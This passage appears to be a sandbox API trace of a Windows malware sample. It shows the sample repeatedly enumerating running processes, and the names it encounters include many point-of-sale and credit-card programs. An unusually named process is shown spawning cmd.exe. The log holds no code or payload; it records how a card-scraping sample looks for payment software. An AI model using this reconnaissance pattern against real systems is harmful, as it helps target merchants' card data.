th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0089.947] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0089.948] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0089.949] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0089.950] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0089.951] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0089.952] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0089.952] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0089.953] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0089.954] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0089.955] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0089.956] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0089.957] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0089.961] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0089.962] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0089.963] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0089.964] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0089.966] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1034, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0089.967] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hearts_walker_poet.exe")) returned 1 [0089.968] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="lb_community.exe")) returned 1 [0089.969] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hispanic.exe")) returned 1 [0089.970] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0089.970] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1120, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.971] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0089.972] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0089.973] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0089.974] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0089.974] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0089.975] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0089.976] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0089.977] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11f4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0089.977] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x137c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.978] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0089.979] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0089.980] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0089.980] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0090.631] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x704, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0090.632] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1308, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0090.633] Process32NextW (in: hSnapshot=0x318, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1308, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0090.633] CloseHandle (hObject=0x318) returned 1 [0090.633] Sleep (dwMilliseconds=0x1f4) [0091.380] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x324 [0091.410] Process32FirstW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0091.417] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0091.417] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0091.418] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0091.419] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0091.419] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0091.420] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0091.421] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0091.421] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0091.422] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.423] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0091.423] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0091.424] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.425] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0091.425] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.426] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.427] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.427] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.428] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.429] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.430] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.430] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.431] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.432] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.432] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0091.433] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.434] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0091.435] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0091.435] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.436] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0091.437] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0091.437] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0091.438] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0091.439] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0091.439] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0091.440] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0091.441] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0091.441] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0091.442] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-windsor.exe")) returned 1 [0091.443] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed.exe")) returned 1 [0091.443] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="housing.exe")) returned 1 [0091.444] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x524, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrated.exe")) returned 1 [0091.445] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, 